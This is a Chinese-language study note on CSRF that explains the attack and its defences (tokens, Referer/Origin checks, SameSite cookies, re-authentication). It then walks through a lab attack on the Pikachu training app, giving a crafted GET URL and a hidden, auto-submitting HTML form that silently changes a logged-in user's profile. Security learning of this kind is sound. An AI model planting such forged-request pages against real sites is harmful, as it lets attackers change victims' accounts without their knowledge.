CSRF
由于用户访问一个页面之后,浏览器之后的数据包会带上session或token。这个时候,攻击者构造一个url用于“当目标用户点击之后,会执行代码从用户浏览器向目标网站发送恶意的HTTP请求——修改密码、查看资产等不需要用户再次输入密码或确认,且这个目标用户不知道”,诱导目标用户点击之后,就完成了csrf攻击。
跨站请求:从一个网站向另一个网站发起的HTTP请求。浏览器通过“源”(协议+域名+端口)来判断是不是跨站请求,即只要协议、域名、端口有一个不同,就是跨站请求。
防御
使用CSRF Token:服务器在用户登录后生成一个随机、不可预测的字符串(Token)(那么每个请求/每个表单的都不一样),并将其存储在用户会话中,同时嵌入到表单或返回给前端页面。当用户提交请求时,必须在请求体或请求头中包含这个 Token(不在Cookie)。服务器收到请求后,会校验 Token 是否与会话中的一致,若不一致则拒绝请求。由于攻击者无法获取这个动态生成的 Token,因此无法成功发起 CSRF 攻击。“客户端每次都携带不同的Token,客户端在每次请求表单页面的时候会返回一个CSRF Token,客户端提交表单(携带Token),客户端验证Token、返回结果”。
校验Referer/Origin:服务器可以检查HTTP请求头中的Referer或Origin字段,判断请求的来源地址是否为本站域名。如果是来自其他网站的请求,则予以拒绝。但这种方法的缺点是 Referer 字段可能被浏览器或用户代理修改或屏蔽,存在兼容性和可靠性问题。
使用SameSite Cookie属性:设置Cookie的SameSite属性,可以限制浏览器在“跨站请求”时是否携带该Cookie。SameSite=Strict完全禁止跨站请求携带Cookie,SameSIte=Lax运行部分安全的跨站请求携带,但是禁止大多数由第三方网站发起的请求。
对关键操作进行二次验证(密码/验证码):对于修改密码、转账等高风险操作,强制要求用户输入验证码、短信验证码或再次输入密码。这种交互式验证能有效确保操作是由真实用户主动发起的。
Get
- 可以是使用burp suite生成poc(但是只有专业版有,专业版要花钱),它生成的其实(单看这个)和后面的url差不多的功能,这个文件放在Apache的网站根目录下面,然后在一个用户登录的时候,点击访问这个url,具体链接为 http://攻击者kali的ip/文件名。也可以是自己写代码。

- 使用burp suite捕获攻击者账号要修改的数据包(在这使用kebo账号登陆,修改信息的时候拦截下来),可以看到

那么url是:
http:/localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit
Post
主要是通过构造恶意的url(url下面的html里面的代码主要是POST提交表单)实现
写一个html(这里参考网上用burp suite生成的html)
在Apache网站根目录下面创建或者创建之后移动到网站根目录下面(也可以是Burp suite专业版生成的POC改一下)
|
<html> <script> <!– 这个script是用来自动提交表单的 –> window.onload = function() { document.getElementById("submit").click(); } </script> <body> <!–这里的url是修改页面对应的url–> <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="girl" /> <input type="hidden" name="phonenum" value="15088888888" /> <input type="hidden" name="add" value="缅甸" /> <input type="hidden" name="email" value="222488@qq.com" /> <input type="hidden" name="submit" value="submit" /> <input id="submit" type="submit" value="Submit request" style="display:none"/> <!– style设置为display:none起到隐藏submit按钮的作用 –> </form> </body> </html> |
比如说我在kali里面的是现在desktop里面创建了一个t.html(代码如上),使用mv 文件 目的文件“sudo mv t.html /var/www/html”
在kobe登录之后,在浏览器新开了一个窗口访问“http://localhost/t.html”。之后刷新kobe的页面会发现kobe的信息改变了,即实现CSRF跨站攻击

关于CSRF Token
和JWT不一样。JWT主要是用于身份认证“用户 ID + 密钥 + 时间”。CSRF Token是完全的随机值,不负责识别用户身份,而是服务器收到之后对比判断是不是客户端发来的(验证当前请求是否来自我签发的那个页面)。而它会带上session或JWT用于身份认证
客户端—->服务端:请求
服务端—->客户端:随机token
客户端—->服务端:提交表单等带上随机token
客户端每次需要提交表单(或发送需要防护的请求)之前,都必须先从服务器获取一个全新的随机 Token



